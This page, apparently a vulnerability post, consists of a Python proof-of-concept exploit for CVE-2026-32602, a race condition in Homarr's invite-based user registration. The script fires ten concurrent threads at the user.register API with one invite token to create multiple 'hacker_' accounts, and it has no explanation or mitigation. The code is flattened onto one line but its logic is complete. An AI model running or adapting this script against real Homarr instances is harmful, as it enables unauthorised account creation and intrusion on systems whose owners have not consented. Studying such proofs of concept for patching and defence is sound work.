CVE-2026-32602 Homarr竞争条件漏洞

import requests import threading # Target URL and Invite Token target_url = "http://target-domain.com/api/trpc/user.register" invite_token = "VALID_INVITE_TOKEN_HERE" # Define the payload for registration payload = { "json": { "token": invite_token, "username": "testuser", "password": "password123" } } def register_user(user_suffix): # Update username to be unique for each thread to verify success current_payload = payload.copy() current_payload['json']['username'] = f"hacker_{user_suffix}" try: response = requests.post(target_url, json=current_payload) if response.status_code == 200: print(f"[+] Success: User {current_payload['json']['username']} registered!") else: print(f"[-] Failed: {response.status_code} - {response.text}") except Exception as e: print(f"Error: {e}") # Simulate Race Condition with multiple threads threads = [] num_requests = 10 # Number of concurrent requests print(f"[*] Starting race condition attack with {num_requests} threads...") for i in range(num_requests): t = threading.Thread(target=register_user, args=(i,)) threads.append(t) t.start() for t in threads: t.join() print("[*] Attack completed.")